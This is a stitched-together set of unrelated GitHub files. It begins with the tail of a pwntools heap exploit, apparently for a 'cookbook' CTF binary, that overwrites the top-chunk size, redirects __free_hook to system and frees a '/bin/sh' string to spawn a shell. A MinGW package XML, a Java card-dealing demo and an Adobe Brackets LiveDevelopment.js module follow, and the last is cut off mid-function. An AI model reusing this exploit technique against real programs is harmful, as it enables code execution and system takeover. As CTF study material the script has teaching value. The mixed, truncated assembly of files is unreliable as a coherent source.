stalepointer, which will be used later target.sendline('c') recvc() target.sendline('n') recvc() target.sendline('d') recvc() target.sendline('q') recv() #Add two new ingredients, then free one. This will position the wilderness value at a spot which we can easily write to it target.sendline('a') recv() target.sendline('n') recv() target.sendline('n') recv() target.sendline('d') recv() target.sendline('q') recv() #Write over the wilderness value which is 8 bytes away from the start of our input, with 0xffffffff target.sendline('c') recvc() target.sendline('i') recvc() wildernessWrite = p32(0x0) + p32(0x0) + p32(0xffffffff) + p32(0x0) target.sendline(wildernessWrite) recvc() target.sendline('q') recv() def overwriteFreehook(): #Calculate the space that we will need to allocate to get right before the free hook malloc_to_freehook = (freehook - 16) - wilderness log.info("Space from wilderness to freehook is : " + hex(malloc_to_freehook)) #Allocate that much space by giving a cookbook a name of that size target.sendline('g') target.sendline(hex(malloc_to_freehook)) target.sendline('0000') recv() #Now that the heap is aligned, the next name should write over the freehook, which we write over it with the address of system target.sendline('g') target.sendline(hex(5)) target.sendline(p32(sysadr)) recv() #Next we will allocate a new space in the heap, and store our argument to system in it target.sendline('g') target.sendline(hex(8)) target.sendline("/bin/sh") recv() #Lastly we will run free from the space malloced in the last block, so we can run free with the system function as a hook, with an argument that is a pointer to "/bin/sh" target.sendline('R') recv() #Recieve some additional output that we didn't do earlier (unimportant for the exploit) recv() recv() recvc() #Run the four functions that make up this exploit leakHeapadr() leakLibcadr() overwriteWilderness() overwriteFreehook() #Drop to an interactive shell log.info("XD Enjoy your shell XD") target.interactive()
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <software-distribution project="MinGW" home="http://www.mingw.org" issue="2010090601"> <!-- File: mingw32-autotools.xml --> <package-collection subsystem="mingw32"> <download-host uri="http://prdownloads.sourceforge.net/mingw/%F?download" /> <package name="mingw32-autotools" alias="autotools" class="virtual"> <affiliate group="MinGW Autotools" /> <description lang="en" title="The GNU Autotools for MinGW Development (meta)"> <paragraph>This meta package contains the components necessary to maintain packages that use the GNU Build System. These components include autoconf, automake, libtool, libiconv, and gettext -- plus their pre-requisites. </paragraph> <paragraph>Although the autotools consist primarily of perl, shell, and m4 scripts, and thus requires MSYS-based interpreters, these implementations should be installed into the /mingw directory (that is, into C:\MinGW or whatever you've chosen as the "root" MinGW path). Most developers who need the autotools will want the versions provided by this package, and not the MSYS ones provided by the MSYS System Builder (msys-dvlpr) package; the MSYS ones install into the / == /usr directory (that is, into C:\msys\1.0) and are intended for use when developing applications that use the MSYS runtime. </paragraph> </description> <component class="bin"> <release tarname="mingw32-autotools-2010090601-mingw32-bin.meta" /> <requires eq="mingw32-autoconf-*-mingw32-*-bin.tar" /> <requires eq="mingw32-autoconf2.1-*-mingw32-*-bin.tar" /> <requires eq="mingw32-autoconf2.5-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.4-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.5-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.6-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.7-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.8-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.9-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.10-*-mingw32-*-bin.tar" /> <requires eq="mingw32-automake1.11-*-mingw32-*-bin.tar" /> <requires eq="mingw32-libtool-*-mingw32-*-bin.tar" /> <requires eq="mingw32-libltdl-*-mingw32-*-dev.tar" /> <requires eq="mingw32-gettext-*-mingw32-*-bin.tar" /> <requires eq="mingw32-gettext-*-mingw32-*-dev.tar" /> <requires eq="mingw32-libiconv-*-mingw32-*-bin.tar" /> <requires eq="mingw32-libiconv-*-mingw32-*-dev.tar" /> </component> </package> </package-collection> </software-distribution> <!-- vim: set nocompatible expandtab fileformat=unix textwidth=80 tabstop=2 shiftwidth=2: -->
{ "pile_set_name": "Github" }
import java.util.*; public class PukeDemo { public static void main(String[] args) { ArrayList<String> puke = getNewPuke(); Collections.shuffle(puke); ArrayList<String> kevin = new ArrayList<String>(); ArrayList<String> Rocco = new ArrayList<String>(); ArrayList<String> Litch = new ArrayList<String>(); ArrayList<String> three = new ArrayList<String>(); for (int x = 0;x < puke.size() ;x++ ) { if(x > puke.size() - 4) { three.add(puke.get(x)); } else if (x%3 == 0) { kevin.add(puke.get(x)); } else if (x%3==1) { Rocco.add(puke.get(x)); } else if(x%3==2) { Litch.add(puke.get(x)); } } System.out.println(kevin); System.out.println(Rocco); System.out.println(Litch); System.out.println(three); } public static ArrayList<String> getNewPuke() { ArrayList<String> al = new ArrayList<String>(); String[] colors = {"黑桃","红心","梅花","方块"}; String[] numbers = {"A","2","3","4","5","6","7","8","9","10","J","Q","K"}; for(String color : colors) { for(String num : numbers) { al.add(color.concat(num)); } } al.add("小王"); al.add("大王"); return al; } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012 - present Adobe Systems Incorporated. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * */ /*global open */ /** * LiveDevelopment manages the Inspector, all Agents, and the active LiveDocument * * __STARTING__ * * To start a session call `open`. This will read the currentDocument from brackets, * launch the LiveBrowser (currently Chrome) with the remote debugger port open, * establish the Inspector connection to the remote debugger, and finally load all * agents. * * __STOPPING__ * * To stop a session call `close`. This will close the active browser window, * disconnect the Inspector, unload all agents, and clean up. * * __STATUS__ * * Status updates are dispatched as `statusChange` jQuery events. The status * is passed as the first parameter and the reason for the change as the second * parameter. Currently only the "Inactive" status supports the reason parameter. * The status codes are: * * -1: Error * 0: Inactive * 1: Connecting to the remote debugger * 2: Loading agents * 3: Active * 4: Out of sync * 5: Sync error * * The reason codes are: * - null (Unknown reason) * - "explicit_close" (LiveDevelopment.close() was called) * - "navigated_away" (The browser changed to a location outside of the project) * - "detached_target_closed" (The tab or window was closed) * - "detached_replaced_with_devtools" (The developer tools were opened in the browser) */ define(function LiveDevelopment(require, exports, module) { "use strict"; require("utils/Global"); var _ = require("thirdparty/lodash"); // Status Codes var STATUS_ERROR = exports.STATUS_ERROR = -1; var STATUS_INACTIVE = exports.STATUS_INACTIVE = 0; var STATUS_CONNECTING = exports.STATUS_CONNECTING = 1; var STATUS_LOADING_AGENTS = exports.STATUS_LOADING_AGENTS = 2; var STATUS_ACTIVE = exports.STATUS_ACTIVE = 3; var STATUS_OUT_OF_SYNC = exports.STATUS_OUT_OF_SYNC = 4; var STATUS_SYNC_ERROR = exports.STATUS_SYNC_ERROR = 5; var Async = require("utils/Async"), CSSUtils = require("language/CSSUtils"), Dialogs = require("widgets/Dialogs"), DefaultDialogs = require("widgets/DefaultDialogs"), DocumentManager = require("document/DocumentManager"), EditorManager = require("editor/EditorManager"), EventDispatcher = require("utils/EventDispatcher"), FileServer = require("LiveDevelopment/Servers/FileServer").FileServer, FileSystemError = require("filesystem/FileSystemError"), FileUtils = require("file/FileUtils"), LiveDevelopmentUtils = require("LiveDevelopment/LiveDevelopmentUtils"), LiveDevServerManager = require("LiveDevelopment/LiveDevServerManager"), MainViewManager = require("view/MainViewManager"), NativeApp = require("utils/NativeApp"), PreferencesDialogs = require("preferences/PreferencesDialogs"), ProjectManager = require("project/ProjectManager"), Strings = require("strings"), StringUtils = require("utils/StringUtils"), UserServer = require("LiveDevelopment/Servers/UserServer").UserServer, WebSocketTransport = require("LiveDevelopment/transports/WebSocketTransport"), PreferencesManager = require("preferences/PreferencesManager"), HealthLogger = require("utils/HealthLogger"); // Inspector var Inspector = require("LiveDevelopment/Inspector/Inspector"); // Documents var CSSDocument = require("LiveDevelopment/Documents/CSSDocument"), CSSPreprocessorDocument = require("LiveDevelopment/Documents/CSSPreprocessorDocument"), HTMLDocument = require("LiveDevelopment/Documents/HTMLDocument"), JSDocument = require("LiveDevelopment/Documents/JSDocument"); // Document errors var SYNC_ERROR_CLASS = "live-preview-sync-error"; // Agents var CSSAgent = require("LiveDevelopment/Agents/CSSAgent"); var agents = { "console" : require("LiveDevelopment/Agents/ConsoleAgent"), "remote" : require("LiveDevelopment/Agents/RemoteAgent"), "network" : require("LiveDevelopment/Agents/NetworkAgent"), "dom" : require("LiveDevelopment/Agents/DOMAgent"), "css" : CSSAgent, "script" : require("LiveDevelopment/Agents/ScriptAgent"), "highlight" : require("LiveDevelopment/Agents/HighlightAgent"), "goto" : require("LiveDevelopment/Agents/GotoAgent"), "edit" : require("LiveDevelopment/Agents/EditAgent") }; // construct path to launch.html // window location is can be one of the following: // Installed: /path/to/Brackets.app/Contents/www/index.html // Installed, dev: /path/to/Brackets.app/Contents/dev/src/index.html // Installed, dev, test: /path/to/Brackets.app/Contents/dev/test/SpecRunner.html // Arbitrary git repo: /path/to/brackets/src/index.html // Arbitrary git repo, test: /path/to/brackets/test/SpecRunner.html var launcherUrl = window.location.pathname; // special case for test/SpecRunner.html since we can't tell how requirejs // baseUrl is configured dynamically launcherUrl = launcherUrl.replace("/test/SpecRunner.html", "/src/index.html"); launcherUrl = launcherUrl.substr(0, launcherUrl.lastIndexOf("/")) + "/LiveDevelopment/launch.html"; launcherUrl = window.location.origin + launcherUrl; // Some agents are still experimental, so we don't enable them all by default // However, extensions can enable them by calling enableAgent(). // This object is used as a set (thus all properties have the value 'true'). // Property names should match property names in the 'agents' object. var _enabledAgentNames = { "console" : true, "remote" : true, "network" : true, "css" : true, "highlight" : true }; /** * Store the names (matching property names in the 'agent' object) of agents that we've loaded * @type {string} */ var _loadedAgentNames = []; /** * Live Preview current Document info * @type {HTMLDocument} */ var _liveDocument; /** * Related Live Documents * @type {Object.<string: (HTMLDocument|CSSDocument)>} */ var _relatedDocuments = {}; /** * Promise returned for each call to open() * @type {jQuery.Deferred} */ var _openDeferred; /** * Promise returned for each call to close() * @type {jQuery.Deferred} */ var _closeDeferred; // Disallow re-entrancy of loadAgents() var _loadAgentsPromise; /** * Current live preview server * @type {BaseServer} */ var _server; /** * @private * Handles of registered servers */ var _regServers = []; PreferencesManager.definePreference("livedev.wsPort", "number", 8125, { description: Strings.DESCRIPTION_LIVEDEV_WEBSOCKET_PORT }); PreferencesManager.definePreference("livedev.enableReverseInspect", "boolean", true, { description: Strings.DESCRIPTION_LIVEDEV_ENABLE_REVERSE_INSPECT }); function _isPromisePending(promise) { return promise && promise.state() === "pending"; } /** Get the current document from the document manager * _adds extension, url and root to the document */ function _getCurrentDocument() { return DocumentManager.getCurrentDocument(); } /** Determine which document class should be used for a given document * @param {Document} document */ function _classForDocument(doc) { switch (doc.getLanguage().getId()) { case "less": case "scss": return CSSPreprocessorDocument; case "css": return CSSDocument; case "javascript": return exports.config.experimental ? JSDocument : null; } if (LiveDevelopmentUtils.isHtmlFileExt(doc.file.fullPath)) { return HTMLDocument; } return null; } function getLiveDocForPath(path) { if (!_server) { return undefined; } return _server.get(path); } function getLiveDocForEditor(editor) { if (!editor) { return null; } return getLiveDocForPath(editor.document.file.fullPath); } /** * @private * Clears errors from line number gutter (line class) * @param {HTMLDocument|CSSDocument} liveDocument */ function _doClearErrors(liveDocument) { var lineHandle; if (!liveDocument.editor || !liveDocument._errorLineHandles || !liveDocument._errorLineHandles.length) { return; } liveDocument.editor._codeMirror.operation(function () { while (true) { // Iterate over all lines that were previously marked with an error lineHandle = liveDocument._errorLineHandles.pop(); if (!lineHandle) { break; } liveDocument.editor._codeMirror.removeLineClass(lineHandle, "wrap", SYNC_ERROR_CLASS); } }); } /** * @private * Make a message to direct users to the troubleshooting page * @param {string} msg Original message * @return {string} Original message plus link to troubleshooting page. */ function _makeTroubleshootingMessage(msg) { return msg + " " + StringUtils.format(Strings.LIVE_DEVELOPMENT_TROUBLESHOOTING, brackets.config.troubleshoot_url); } /** * @private * Close a live document */ function _closeDocument(liveDocument) { _doClearErrors(liveDocument); liveDocument.close(); if (liveDocument.editor) { liveDocument.editor.off(".livedev"); } liveDocument.off(".livedev"); } /** * Removes the given CSS/JSDocument from _relatedDocuments. Signals that the * given file is no longer associated with the HTML document that is live (e.g. * if the related file has been deleted on disk). */ function _closeRelatedDocument(liveDoc) { if (_relatedDocuments[liveDoc.doc.url]) { delete _relatedDocuments[liveDoc.doc.url]; } if (_server) { _server.remove(liveDoc); } _closeDocument(liveDoc); } /** * Update the status. Triggers a statusChange event. * @param {number} status new status * @param {?string} closeReason Optional string key suffix to display to * user when closing the live development connection (see LIVE_DEV_* keys) */ function _setStatus(status, closeReason) { // Don't send a notification when the status didn't actually change if (status === exports.status) { return; } exports.status = status; var reason = status === STATUS_INACTIVE ? closeReason : null; exports.trigger("statusChange", status, reason); } /** * @private * Event handler for live document errors. Displays error status in the editor gutter. * @param {$.Event} event * @param {HTMLDocument|CSSDocument} liveDocument * @param {Array.<{token: SimpleNode, startPos: Pos, endPos: Pos}>} errors */ function _handleLiveDocumentStatusChanged(liveDocument) { var startLine, endLine, i, lineHandle, status = (liveDocument.errors.length) ? STATUS_SYNC_ERROR : STATUS_ACTIVE; _setStatus(status); if (!liveDocument.editor) { return; } // Buffer addLineClass DOM changes in a CodeMirror operation liveDocument.editor._codeMirror.operation(function () { // Remove existing errors before marking new ones _doClearErrors(liveDocument); liveDocument._errorLineHandles = liveDocument._errorLineHandles || []; liveDocument.errors.forEach(function (error) { startLine = error.startPos.line; endLine = error.endPos.line; for (i = startLine; i < endLine + 1; i++) { lineHandle = liveDocument.editor._codeMirror.addLineClass(i, "wrap", SYNC_ERROR_CLASS); liveDocument._errorLineHandles.push(lineHandle); } }); }); } /** * @private * Close all live documents */ function _closeDocuments() { if (_liveDocument) { _closeDocument(_liveDocument); _liveDocument = undefined; } Object.keys(_relatedDocuments).forEach(function (url) { _closeDocument(_relatedDocuments[url]); delete _relatedDocuments[url]; }); // Clear all documents from request filtering if (_server) { _server.clear(); } } /** * @private * Create a live version of a Brackets document * @param {Document} doc Current document * @param {Editor} editor Current editor * @return {?(HTMLDocument|CSSDocument)} */ function _createDocument(doc, editor) { var DocClass = _classForDocument(doc), liveDocument = new DocClass(doc, editor); if (!DocClass) { return null; } liveDocument.on("statusChanged.livedev", function () { _handleLiveDocumentStatusChanged(liveDocument); }); return liveDocument; } /** * @private * Initialize `_liveDocument`. * @param {Document} doc Current document */ function _createLiveDocumentForFrame(doc) { // create live document doc._ensureMasterEditor(); _liveDocument = _createDocument(doc, doc._masterEditor); _server.add(_liveDocument); } /** Enable an agent. Takes effect next time a connection is made. Does not affect * current live development sessions. * * @param {string} name of agent to enable */ function enableAgent(name) { if (agents.hasOwnProperty(name) && !_enabledAgentNames.hasOwnProperty(name)) { _enabledAgentNames[name] = true; } } /** Disable an agent. Takes effect next time a connection is made. Does not affect * current live development sessions. * * @param {string} name of agent to disable */ function disableAgent(name) { if (_enabledAgentNames.hasOwnProperty(name)) { delete _enabledAgentNames[name]; } } /** Documents are considered to be out-of-sync if they are dirty and * do not have "update while editing" support * @param {Document} doc */ function _docIsOutOfSync(doc) { var liveDoc = _server && _server.get(doc.file.fullPath), isLiveEditingEnabled = liveDoc && liveDoc.isLiveEditingEnabled(); return doc.isDirty && !isLiveEditingEnabled; } /** Triggered by Inspector.error */ function _onError(event, error, msgData) { var message; // Sometimes error.message is undefined if (!error.message) { console.warn("Expected a non-empty string in error.message, got this instead:", error.message); message = JSON.stringify(error); } else { message = error.message; } // Remove "Uncaught" from the beginning to avoid the inspector popping up if (message && message.substr(0, 8) === "Uncaught") { message = message.substr(9); } // Additional information, like exactly which parameter could not be processed. var data = error.data; if (Array.isArray(data)) { message += "\n" + data.join("\n"); } // Show the message, but include the error object for further information (e.g. error code) console.error(message, error, msgData); } function _styleSheetAdded(event, url) { var path = _server && _server.urlToPath(url), exists = !!_relatedDocuments[url]; // path may be null if loading an external stylesheet. // Also, the stylesheet may already exist and be reported as added twice // due to Chrome reporting added/removed events after incremental changes // are pushed to the browser if (!path || exists) { return; } var docPromise = DocumentManager.getDocumentForPath(path); docPromise.done(function (doc) { if ((_classForDocument(doc) === CSSDocument || _classForDocument(doc) === CSSPreprocessorDocument) && (!_liveDocument || (doc !== _liveDocument.doc))) { // The doc may already have an editor (e.g. starting live preview from an css file), // so pass the editor if any var liveDoc = _createDocument(doc, doc._masterEditor); if (liveDoc) { _server.add(liveDoc); _relatedDocuments[doc.url] = liveDoc; liveDoc.on("deleted.livedev", function (event, liveDoc) { _closeRelatedDocument(liveDoc); }); } } }); } /** Unload the agents */ function unloadAgents() { _loadedAgentNames.forEach(function (name) { agents[name].unload(); }); _loadedAgentNames = []; } /** * @private * Invoke a no-arg method on an inspector agent * @param {string} name Agent name * @param {stirng} methodName Method name to call on the agent */ function _invokeAgentMethod(name, methodName) { var oneAgentPromise; if (agents[name] && agents[name][methodName]) { oneAgentPromise = agents[name][methodName].call(); } if (!oneAgentPromise) { oneAgentPromise = new $.Deferred().resolve().promise(); } else { oneAgentPromise.fail(function () { console.error(methodName + " failed on agent", name); }); } return oneAgentPromise; } function getEnabledAgents() { var enabledAgents; // Select agents to use if (exports.config.experimental) { // load all agents enabledAgents = agents; } else { // load only enabled agents enabledAgents = _enabledAgentNames; } return Object.keys(enabledAgents); } /** * @private * Setup agents that need inspector domains enabled before loading */ function _enableAgents() { // enable agents in parallel return Async.doInParallel( getEnabledAgents(), function (name) { return _invokeAgentMethod(name, "enable"); }, true ); } /** Load the agents */ function loadAgents() { // If we're already loading agents return same promise if (_loadAgentsPromise) { return _loadAgentsPromise; } var result = new $.Deferred(), allAgentsPromise; _loadAgentsPromise = result.promise(); _setStatus(STATUS_LOADING_AGENTS); // load agents in parallel allAgentsPromise = Async.doInParallel( getEnabledAgents(), function (name) { return _invokeAgentMethod(name, "load").done(function () { _loadedAgentNames.push(name); }); }, true ); // wrap agent loading with a timeout allAgentsPromise = Async.withTimeout(allAgentsPromise, 10000); allAgentsPromise.done(function () { var doc = (_liveDocument) ? _liveDocument.doc : null; if (doc) { var status = STATUS_ACTIVE; if (_docIsOutOfSync(doc)) { status = STATUS_OUT_OF_SYNC; } _setStatus(status); result.resolve(); } else { result.reject(); } }); allAgentsPromise.fail(result.reject); _loadAgentsPromise .fail(function () { // show error loading live dev dialog _setStatus(STATUS_ERROR); Dialogs.showModalDialog( Dialogs.DIALOG_ID_ERROR, Strings.LIVE_DEVELOPMENT_ERROR_TITLE, _makeTroubleshootingMessage(Strings.LIVE_DEV_LOADING_ERROR_MESSAGE) ); }) .always(function () { _loadAgentsPromise = null; }); return _loadAgentsPromise; } /** * @private * Determine an index file that can be used to start Live Development. * This function will inspect all files in a project to find the closest index file * available for currently opened document. We are searching for these files: * - index.html * - index.htm * * If the project is configured with a custom base url for live development, then * the list of possible index files is extended to contain these index files too: * - index.php * - index.php3 * - index.php4 * - index.php5 * - index.phtm * - index.phtml * - index.cfm * - index.cfml * - index.asp * - index.aspx * - index.jsp * - index.jspx * - index.shm * - index.shml * * If a file was found, the promise will be resolved with the full path to this file. If no file * was found in the whole project tree, the promise will be resolved with null. * * @return {jQuery.Promise} A promise that is resolved with a full path * to a file if one could been determined, or null if there was no suitable index * file. */ function _getInitialDocFromCurrent() { var doc = _getCurrentDocument(), refPath, i; // Is the currently opened document already a file we can use for Live Development? if (doc) { refPath = doc.file.fullPath; if (LiveDevelopmentUtils.isStaticHtmlFileExt(refPath) || LiveDevelopmentUtils.isServerHtmlFileExt(refPath)) { return new $.Deferred().resolve(doc); } } var result = new $.Deferred(); var baseUrl = ProjectManager.getBaseUrl(), hasOwnServerForLiveDevelopment = (baseUrl && baseUrl.length); ProjectManager.getAllFiles().done(function (allFiles) { var projectRoot = ProjectManager.getProjectRoot().fullPath, containingFolder, indexFileFound = false, stillInProjectTree = true; if (refPath) { containingFolder = FileUtils.getDirectoryPath(refPath); } else { containingFolder = projectRoot; } var filteredFiltered = allFiles.filter(function (item) { var parent = FileUtils.getParentPath(item.fullPath); return (containingFolder.indexOf(parent) === 0); }); var filterIndexFile = function (fileInfo) { if (fileInfo.fullPath.indexOf(containingFolder) === 0) { if (FileUtils.getFilenameWithoutExtension(fileInfo.name) === "index") { if (hasOwnServerForLiveDevelopment) { if ((LiveDevelopmentUtils.isServerHtmlFileExt(fileInfo.name)) || (LiveDevelopmentUtils.isStaticHtmlFileExt(fileInfo.name))) { return true; } } else if (LiveDevelopmentUtils.isStaticHtmlFileExt(fileInfo.name)) { return true; } } else { return false; } } }; while (!indexFileFound && stillInProjectTree) { i = _.findIndex(filteredFiltered, filterIndexFile); // We found no good match if (i === -1) { // traverse the directory tree up one level containingFolder = FileUtils.getParentPath(containingFolder); // Are we still inside the project? if (containingFolder.indexOf(projectRoot) === -1) { stillInProjectTree = false; } } else { indexFileFound = true; } } if (i !== -1) { DocumentManager.getDocumentForPath(filteredFiltered[i].fullPath).then(result.resolve, result.resolve); return; } result.resolve(null); }); return result.promise(); } /** * If the current editor is for a CSS preprocessor file, then add it to the style sheet * so that we can track cursor positions in the editor to show live preview highlighting. * For normal CSS we only do highlighting from files we know for sure are referenced by the * current live preview document, but for preprocessors we just assume that any preprocessor * file you edit is probably related to the live preview. * * @param {Event} event (unused) * @param {Editor} current Current editor * @param {Editor} previous Previous editor * */ function onActiveEditorChange(event, current, previous) { if (previous && previous.document && CSSUtils.isCSSPreprocessorFile(previous.document.file.fullPath)) { var prevDocUrl = _server && _server.pathToUrl(previous.document.file.fullPath); if (_relatedDocuments && _relatedDocuments[prevDocUrl]) { _closeRelatedDocument(_relatedDocuments[prevDocUrl]); } } if (current && current.document && CSSUtils.isCSSPreprocessorFile(current.document.file.fullPath)) { var docUrl = _server && _server.pathToUrl(current.document.file.fullPath); _styleSheetAdded(null, docUrl); } } /** * @private * While still connected to the Inspector, do cleanup for agents, * documents and server. * @param {boolean} doCloseWindow Use true to close the window/tab in the browser * @return {jQuery.Promise} A promise that is always resolved */ function _doInspectorDisconnect(doCloseWindow) { var closePromise, deferred = new $.Deferred(), connected = Inspector.connected(); EditorManager.off("activeEditorChange", onActiveEditorChange); Inspector.Page.off(".livedev"); Inspector.off(".livedev"); // Wait if agents are loading if (_loadAgentsPromise) { _loadAgentsPromise.always(unloadAgents); } else { unloadAgents(); } // Close live documents _closeDocuments(); if (_server) { // Stop listening for requests when disconnected _server.stop(); // Dispose server _server = null; } if (doCloseWindow && connected) { closePromise = Inspector.Runtime.evaluate("window.open('', '_self').close();"); // Add a timeout to continue cleanup if Inspector does not respond closePromise = Async.withTimeout(closePromise, 5000); } else { closePromise = new $.Deferred().resolve(); } // Disconnect WebSocket if connected closePromise.always(function () { if (Inspector.connected()) { Inspector.disconnect().always(deferred.resolve); } else { deferred.resolve(); } }); return deferred.promise(); } /** * @private * Close the connection and the associated window asynchronously * @param {boolean} doCloseWindow Use true to close the window/tab in the browser * @param {?string} reason Optional string key suffix to display to user (see LIVE_DEV_* keys) * @return {jQuery.Promise} Always return a resolved promise once the connection is closed */ function _close(doCloseWindow, reason) { WebSocketTransport.closeWebSocketServer(); if (_closeDeferred) { return _closeDeferred; } else { _closeDeferred = new $.Deferred(); _closeDeferred.always(function () { _closeDeferred = null; }); } var promise = _closeDeferred.promise(); /* * Finish closing the live development connection, including setting * the status accordingly. */ function cleanup() { // Need to do this in order to trigger the corresponding CloseLiveBrowser cleanups required on // the native Mac side var closeDeferred = (brackets.platform === "mac") ? NativeApp.closeLiveBrowser() : $.Deferred().resolve(); closeDeferred.done(function () { _setStatus(STATUS_INACTIVE, reason || "explicit_close"); // clean-up registered servers _regServers.forEach(function (server) { LiveDevServerManager.removeServer(server); }); _regServers = []; _closeDeferred.resolve(); }).fail(function (err) { if (err) { reason += " (" + err + ")"; } _setStatus(STATUS_INACTIVE, reason || "explicit_close"); _closeDeferred.resolve(); }); } if (_isPromisePending(_openDeferred)) { // Reject calls to open if requests are still pending _openDeferred.reject(); } if (exports.status === STATUS_INACTIVE) { // Ignore close if status is inactive _closeDeferred.resolve(); } else { _doInspectorDisconnect(doCloseWindow).always(cleanup); } return promise; } // WebInspector Event: Page.frameNavigated function _onFrameNavigated(event, res) { // res = {frame} var url = res.frame.url, baseUrl, baseUrlRegExp; // Only check domain of root frame (with undefined parentId) if (res.frame.parentId) { return; } // Any local file is OK if (url.match(/^file:\/\//i) || !_server) { return; } // Need base url to build reg exp baseUrl = _server.getBaseUrl(); if (!baseUrl) { return; } // Test that url is within site baseUrlRegExp = new RegExp("^" + StringUtils.regexEscape(baseUrl), "i"); if (!url.match(baseUrlRegExp)) { // No longer in site, so terminate live dev, but don't close browser window _close(false, "navigated_away"); } } /** * @private * Triggered by unexpected Inspector disconnect event */ function _onDisconnect(event) { _close(false, "closed_unknown_reason"); } function _onDetached(event, res) { var closeReason; if (res && res.reason) { // Get the explanation from res.reason, e.g. "replaced_with_devtools", "target_closed", "canceled_by_user" // Examples taken from https://chromiumcodereview.appspot.com/10947037/patch/12001/13004 // However, the link refers to the Chrome Extension API, it may not apply 100% to the Inspector API // Prefix with "detached_" to create a quasi-namespace for Chrome's reasons closeReason = "detached_" + res.reason; } _close(false, closeReason); } /** * Unload and reload agents * @return {jQuery.Promise} Resolves once the agents are loaded */ function reconnect() { if (_loadAgentsPromise) { // Agents are already loading, so don't unload return _loadAgentsPromise; } unloadAgents(); // Clear any existing related documents before we reload the agents. // We need to recreate them for the reloaded document due to some // desirable side-effects (see #7606). Eventually, we should simplify // the way we get that behavior. _.forOwn(_relatedDocuments, function (relatedDoc) { _closeRelatedDocument(relatedDoc); }); return loadAgents(); } /** reload the live preview */ function reload() { // Unload and reload agents before reloading the page // Some agents (e.g. DOMAgent and RemoteAgent) require us to // navigate to the page first before loading can complete. // To accomodate this, we load all agents (in reconnect()) // and navigate in parallel. reconnect(); // Reload HTML page Inspector.Page.reload(); } /** * Close the connection and the associated window asynchronously * @return {jQuery.Promise} Resolves once the connection is closed */ function close() { return _close(true); } /** * @private * Create a promise that resolves when the interstitial page has * finished loading. * * @return {jQuery.Promise} Resolves once page is loaded */ function _waitForInterstitialPageLoad() { var deferred = $.Deferred(), keepPolling = true, timer = window.setTimeout(function () { keepPolling = false; deferred.reject(); }, 10000); // 10 seconds /* * Asynchronously check to see if the interstitial page has * finished loading; if not, check again until timing out. */ function pollInterstitialPage() { if (keepPolling && Inspector.connected()) { Inspector.Runtime.evaluate("window.isBracketsLiveDevelopmentInterstitialPageLoaded", function (response) { var result = response.result; if (result.type === "boolean" && result.value) { window.clearTimeout(timer); deferred.resolve(); } else { window.setTimeout(pollInterstitialPage, 100); } }); } else { deferred.reject(); } } pollInterstitialPage(); return deferred.promise(); } /** * @private * Load agents and navigate to the target document once the * interstitial page has finished loading. */ function _onInterstitialPageLoad() { Inspector.Runtime.evaluate("window.navigator.userAgent", function (uaResponse) { Inspector.setUserAgent(uaResponse.result.value); }); // Domains for some agents must be enabled first before loading var enablePromise = Inspector.Page.enable().then(function () { return Inspector.DOM.enable().then(_enableAgents, _enableAgents); }); enablePromise.done(function () { // Some agents (e.g. DOMAgent and RemoteAgent) require us to // navigate to the page first before loading can complete. // To accomodate this, we load all agents and navigate in // parallel. // resolve/reject the open() promise after agents complete loadAgents().then(_openDeferred.resolve, _openDeferred.reject); _getInitialDocFromCurrent().done(function (doc) { if (doc && _liveDocument) { if (doc !== _liveDocument.doc) { _createLiveDocumentForFrame(doc); } // Navigate from interstitial to the document // Fires a frameNavigated event if (_server) { Inspector.Page.navigate(_server.pathToUrl(doc.file.fullPath)); } else { console.error("LiveDevelopment._onInterstitialPageLoad(): No server active"); } } else { // Unlikely that we would get to this state where // a connection is in process but there is no current // document close(); } }); }); } /** Triggered by Inspector.connect */ function _onConnect(event) { // When the browser navigates away from the primary live document Inspector.Page.on("frameNavigated.livedev", _onFrameNavigated); // When the Inspector WebSocket disconnects unexpectedely Inspector.on("disconnect.livedev", _onDisconnect); _waitForInterstitialPageLoad() .fail(function () { close(); Dialogs.showModalDialog( DefaultDialogs.DIALOG_ID_ERROR, Strings.LIVE_DEVELOPMENT_ERROR_TITLE, _makeTroubleshootingMessage(Strings.LIVE_DEV_LOADING_ERROR_MESSAGE) ); }) .done(_onInterstitialPageLoad); } function _showWrongDocError() { Dialogs.showModalDialog( DefaultDialogs.DIALOG_ID_ERROR, Strings.LIVE_DEVELOPMENT_ERROR_TITLE, _makeTroubleshootingMessage(Strings.LIVE_DEV_NEED_HTML_MESSAGE) ); _openDeferred.reject(); } function _showLiveDevServerNotReadyError() { Dialogs.showModalDialog( DefaultDialogs.DIALOG_ID_ERROR, Strings.LIVE_DEVELOPMENT_ERROR_TITLE, _makeTroubleshootingMessage(Strings.LIVE_DEV_SERVER_NOT_READY_MESSAGE) ); _openDeferred.reject(); } function _openInterstitialPage() { var browserStarted = false, retryCount = 0; // Open the live browser if the connection fails, retry 3 times Inspector.connectToURL(launcherUrl).fail(function onConnectFail(err) { if (err === "CANCEL") { _openDeferred.reject(err); return; } if (retryCount > 3) { 